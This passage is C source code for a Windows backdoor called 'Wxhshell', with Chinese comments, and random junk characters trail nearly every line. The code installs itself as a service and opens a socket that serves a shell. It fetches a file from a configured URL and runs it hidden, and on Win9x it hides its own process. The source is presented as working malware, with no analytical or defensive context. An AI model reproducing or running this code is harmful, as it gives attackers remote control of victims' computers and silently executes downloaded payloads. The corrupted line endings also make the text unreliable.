ULONG UniqueProcessId; ==AmL]*
ULONG InheritedFromUniqueProcessId; pp@O6
} PROCESS_BASIC_INFORMATION; '<{Jlz(u9
yw1-4*$c
PROCNTQSIP NtQueryInformationProcess; a:Nf+t
|]5`T9K@b#
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "x3x$JQZy
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; D)tL}X$
"!ks7:}v
HANDLE hProcess; foUB/&Ee
PROCESS_BASIC_INFORMATION pbi; 1gQ_76Yck
#I1q,fm
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >t{-_4Yv?
if(NULL == hInst ) return 0; JOH\K0=e
u|LDN*#DW
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0Wj,=9q
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); % {-r'Yi%
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2"HG6"Rr
5W0s9yD
if (!NtQueryInformationProcess) return 0; 0n}v"61q
_y&XFdp
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \q\"=
if(!hProcess) return 0; 0S96x}]J B
q%LjOPE
V
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [*M':
QBh*x/J
CloseHandle(hProcess); _F8THYg (
jZD)c_'U
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /DjsnU~3
if(hProcess==NULL) return 0; aWPf3Q
bgxk:$E
HMODULE hMod; `<{LW>Lb
char procName[255]; "
sC]z}
unsigned long cbNeeded; />N# PF
vVP.9(
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));
T%Bz >K
.yDGw Lry
CloseHandle(hProcess); /b\c<'3NY
`~z[Hj=2
if(strstr(procName,"services")) return 1; // 以服务启动 zhJ0to[%?
5|cRHM#
return 0; // 注册表启动 'E&tEbY
} AGm=0Om
*?\u5O(
// 主模块 UVXSW*$
int StartWxhshell(LPSTR lpCmdLine) w{t]^w:
{ mFeR~Bi>!
SOCKET wsl; zdw*
?C
BOOL val=TRUE; wX$|(Y}
int port=0; Zl>dBc%
struct sockaddr_in door; f >.^7.is
,"Fl/AjO
if(wscfg.ws_autoins) Install(); Y'5(exW
KaX*) P
port=atoi(lpCmdLine); Paeq
s/.P/g%tA>
if(port<=0) port=wscfg.ws_port; wqi0%Cu*
Z~<=I }@
WSADATA data; ~>N63I6
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; plp-[eKcD
J.'%=q(Sb
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ANNVE},
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9ln=f=
door.sin_family = AF_INET; q#@r*hl
door.sin_addr.s_addr = inet_addr("127.0.0.1"); t|mK5aR4
door.sin_port = htons(port); bLSc=f&
^/6P~iK'
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { I)yF!E &
closesocket(wsl); @%G?Nht]o
return 1; k'k}/Hxub
} v K[%cA"
Ctn
4q'Q
if(listen(wsl,2) == INVALID_SOCKET) { z:$ibk4#h
closesocket(wsl); )P>/g*
return 1; }Z{FPW.QK
} !l=)$RJKdD
Wxhshell(wsl); YCQ$X
WSACleanup(); uT'l.*W6i
];lZ:gT
return 0; e#,(a
C<3<,~gI
} #UhH
.#-F@0a
// 以NT服务方式启动 Rk[a|T &
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) L~^5Ez6U
{ q2s0g*z
DWORD status = 0; cdh0b7tjn
DWORD specificError = 0xfffffff; r~2hTie
UfPHV%Wd
serviceStatus.dwServiceType = SERVICE_WIN32; 1]eRragm"
serviceStatus.dwCurrentState = SERVICE_START_PENDING; k|\M(Z*(P
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; V.z8
]iG
serviceStatus.dwWin32ExitCode = 0; jw9v&/-
serviceStatus.dwServiceSpecificExitCode = 0; _Z!@#y@j
serviceStatus.dwCheckPoint = 0; 8#VD u(
serviceStatus.dwWaitHint = 0; 2aX*|DGpw
f*B-aj#
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); yi*EobP
if (hServiceStatusHandle==0) return; A= 5Ebu!z
R^$|D)(
status = GetLastError(); ;Xy=;Z.]i
if (status!=NO_ERROR) 2,F9P+
{ '5 ~cd
serviceStatus.dwCurrentState = SERVICE_STOPPED; \Dy|}LE
serviceStatus.dwCheckPoint = 0; A+gS'DZ9C
serviceStatus.dwWaitHint = 0; -F[@)$L
serviceStatus.dwWin32ExitCode = status; QF\nf_X
serviceStatus.dwServiceSpecificExitCode = specificError; Ei):\,Nv
SetServiceStatus(hServiceStatusHandle, &serviceStatus); FOk;=+
return; @aZ Tx/
} B~N3k
Qj;{Z*l%+
serviceStatus.dwCurrentState = SERVICE_RUNNING; {x.0Yh7
serviceStatus.dwCheckPoint = 0; nvT@'y+
serviceStatus.dwWaitHint = 0; )t"-#$,@
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); IlB8~{p_
} L/r_MtN
&=BzsBh
// 处理NT服务事件,比如:启动、停止 ?q9]H5\
VOID WINAPI NTServiceHandler(DWORD fdwControl) [#q]B=JB
{ -PAEJn5$O
switch(fdwControl) |Ia9bg'1U
{ p/?o^_s
case SERVICE_CONTROL_STOP: 8"9&x}
tl-
serviceStatus.dwWin32ExitCode = 0; uT4|43<
G
serviceStatus.dwCurrentState = SERVICE_STOPPED; nAEyL+6U
serviceStatus.dwCheckPoint = 0; M@{#yEP
serviceStatus.dwWaitHint = 0; P|bow+4
{ m|B=
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0Zi+x#&d
} &.\7='$F
return; >#x[qX
case SERVICE_CONTROL_PAUSE: =uH2+9.
serviceStatus.dwCurrentState = SERVICE_PAUSED; {V2"Pym?
break; *H/3xPh,*
case SERVICE_CONTROL_CONTINUE: 6<<"9mxK
serviceStatus.dwCurrentState = SERVICE_RUNNING; (pd$?vRy
break; &<]f-
case SERVICE_CONTROL_INTERROGATE: f4b9o[,s2e
break; %g}d}5s
}; <cp9+P <
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'v~'NWfd
} PnA{@n\
JRo/ HY+
// 标准应用程序主函数 v/q-{1
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,;6 V=ok
{ /oHCV0!0
[jzsB:;XB&
// 获取操作系统版本 O*~z@"\
OsIsNt=GetOsVer(); ;na%*G`
GetModuleFileName(NULL,ExeFile,MAX_PATH); q\?s<l63
> 0MP[
// 从命令行安装 Z|uvrFa
if(strpbrk(lpCmdLine,"iI")) Install(); 3T F_$bd{
{uaDpRt
// 下载执行文件 GDL/5m#
if(wscfg.ws_downexe) { () _RLA
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) dA~:L`A|X
WinExec(wscfg.ws_filenam,SW_HIDE); iVI&
} %- 540V{q
*y?HaU
if(!OsIsNt) { #`*uX6C
// 如果时win9x,隐藏进程并且设置为注册表启动 j#n ]q{s4
HideProc(); {,Q )D$i
StartWxhshell(lpCmdLine); !S':G
} k.ou$mIY
else X3l>GeUi
if(StartFromService()) /{i~-DVME
// 以服务方式启动
dZ`Y>wH_
StartServiceCtrlDispatcher(DispatchTable); @%Ld\8vdfJ
else \Y)HSJR;e
// 普通方式启动 Z^&G9I#
StartWxhshell(lpCmdLine); ~R
w1
T+}|$/Tv
return 0; 'K ?h6?#
}